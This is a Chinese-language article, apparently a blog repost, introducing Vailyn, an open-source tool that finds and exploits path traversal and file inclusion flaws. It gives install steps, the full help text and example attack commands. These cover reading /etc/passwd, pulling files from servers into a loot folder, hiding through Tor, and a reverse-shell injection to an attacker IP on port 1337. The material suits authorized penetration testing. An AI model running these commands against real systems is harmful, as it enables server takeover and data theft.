关于Vailyn
Vailyn是一款多阶段漏洞分析和利用工具,可以帮助广大研究人员分析、识别和利用路径遍历漏洞以及文件包含漏洞。该工具的性能非常强,并且害实现了大量的过滤规避技术。
Vailyn的操作分为两个阶段。首先,它可以尝试访问/etc/passwd或用户指定的文件来检测漏洞是否存在。此时,我们可以自由选择使用哪些Payload,而第二阶段该工具将会使用我们所选择的Payload。
第二阶段是漏洞利用阶段。现在,该工具将会尝试使用文件和目录字典从目标服务器提取所有可能的文件。搜索深度和目录排列级别可以通过参数进行调整。或者,它可以下载找到的文件,并将它们保存在其loot文件夹中。除此之外,Vailyn还会尝试在目标系统上获取一个反向Shell,并允许攻击者获得对目标服务器的完全控制。
当前版本的Vailyn支持多种攻击向量:通过查询实现注入、路径、Cookie和POST数据等。
工具安装
我们建议的Vailyn运行环境为Python 3.7+,但理论上来说该工具应当适用于Python 3.5或Python 3.6环境。
如需安装Vailyn,可以直接访问该项目的【Releases页面】下载工具文档,或使用下列命令将该项目源码克隆至本地:
$gitclonehttps://github.com/VainlyStrain/Vailyn
下载好项目源码之后,我们则需要安装好该工具所需的Python依赖组件。
(1) Unix系统
在Unix系统上,可以直接运行下列命令:
$pipinstall-rrequirements.txt#--user
(2) Windows系统
在Windows系统上,可以直接使用pip命令来安装“Vailyn\·›\requirements-windows.txt”中列出的依赖组件。
(3) 最后一步
如果你想要使用反向Shell模块的完整功能,我们还需要安装sshpass、ncat和konsole。
接下来,我们就可以直接运行下列命令来使用Vailyn了:
$pythonVailyn-h
工具使用
Vailyn提供了三个必要参数:-v VIC, -a INT和-p2 TP P1 P2。如果使用了-a参数的话,则可以支持更多选项。
,\/, ':.\./\../.:' ':;.:\.,:/''./;..::' ',':.,.__.''''`:.__:''.:' ';..,;'* *'.,.:' `v;.;v'o .''..:.''. '':;,'' o'.: * |Vailyn| [VainlyStrain] VsyntaVailyn-vVIC-aINT-p2TPP1P2 [-pPAM][-iF][-PiVIC2] [-cC][-n][-dIJK] [-sT][-t][-L] [-l][-P][-A] mandatory: -vVIC,--victimVICTargettoattack,part1[pre-payload] -aINT,--attackINTAttacktype(int,1-5,orA) A|Spider(all)2|Path5|POSTData,json P|Spider(partial)3|Cookie 1|QueryParameter4|POSTData,plain -p2TPP1P2,--phase2TPP1P2 AttackinPhase2,andneededparameters ┌[Values]─────────────┬────────────────────┐ │TP│P1│P2│ ├─────────┼─────────────┼────────────────────┤ │leak│FileDict│DirectoryDict│ │inject│IPAddr│ListeningPort│ │implant│SourceFile│ServerDestination│ └─────────┴─────────────┴────────────────────┘ additional: -pPAM,--paramPAMqueryparameterorPOSTdatafor--attack1,4,5 -iF,--checkFFiletocheckforinPhase1(df:etc/passwd) -PiVIC2,--vic2VIC2AttackTarget,part2[post-payload] -cC,--cookieCCookietoappend(inheaderformat) -l,--lootDownloadfoundfilesintothelootfolder -dIJK,--depthsIJK depths(I:phase1,J:phase2,K:permutationlevel) -h,--helpshowthishelpmenuandexit -sT,--timeoutTRequestTimeout;stableswitchforArjun -t,--torPipeattacksthroughtheToranonymitynetwork -L,--lfiAdditionallyusePHPwrapperstoleakfiles -n,--nosploitskipPhase2(doesnotneed-p2TPP1P2) -P,--preciseUseexactdepthinPhase1(notarange) -A,--appStartVailyn'sQt5interface develop: --debugDisplayeverypathtried,even404s. --versionPrintprogramversionandexit. --notmainAvoidnotify2crashinsubprocesscall. Info: toleakfilesusingabsolutepaths:-d000 togetashellusingabsolutepaths:-d0X0
Vailyn当前支持五种攻击向量,并且提供了自动化爬虫。我们可以通过-a INT参数来选择需要执行的攻击:
INTattack ----------- 1query-basedattack(https://site.com?file=../../../) 2path-basedattack(https://site.com/../../../) 3cookie-basedattack(willgrabthecookiesforyou) 4plainpostdata(ELEM1=VAL1&ELEM2=../../../) 5jsonpostdata({"file":"../../../"}) Aspiderfetch+analyzeallURLsfromsiteusingallvectors Ppartialspiderfetch+analyzeallURLsfromsiteusingonlyselectedvectors
工具使用演示
简单的查询攻击,第二阶段文件提取:
$Vailyn-v"http://site.com/download.php"-a1-p2leakdicts/filesdicts/dirs-pfile-->http://site.com/download.php?file=../INJECT
简单的查询,但知道file.php已存在:
$Vailyn-v"http://site.com/download.php"-a1-p2leakdicts/filesdicts/dirs-pfile-ifile.php-d2XX-P
简单的路径攻击:
$Vailyn-v"http://site.com/"-a2-p2leakdicts/filesdicts/dirs-->http://site.com/../INJECT
路径攻击,但需要查询参数和标签:
$Vailyn-v"http://site.com/"-a2-p2leakdicts/filesdicts/dirs-Pi"?token=X#title"-->http://site.com/../INJECT?token=X#title
简单的Cookie攻击:
$Vailyn-v"http://site.com/cookiemonster.php"-a3-p2leakdicts/filesdicts/dirs
POST Plain攻击:
$Vailyn-v"http://site.com/download.php"-a4-p2leakdicts/filesdicts/dirs-p"DATA1=xx&DATA2=INJECT"
POST JSON攻击:
$Vailyn-v"http://site.com/download.php"-a5-p2leakdicts/filesdicts/dirs-p'{"file":"INJECT"}'
攻击,但目标存在登录界面:
$Vailyn-v"http://site.com/"-a1-p2leakdicts/filesdicts/dirs-c"sessionid=foobar"
攻击,但需要一个反向Shell(端口1337):
$Vailyn-v"http://site.com/download.php"-a1-p2injectMY.IP.IS.XX1337#ahighPhase2Depthisneededforloginjection
完全的爬虫自动化模式:
$Vailyn-v"http://root-url.site"-aA
工具演示视频
视频地址:【点我观看】
项目地址
Vailyn:【GitHub
转载请注明:IT运维空间 » 安全防护 » 如何利用Vailyn识别路径遍历和文件包含漏洞
发表评论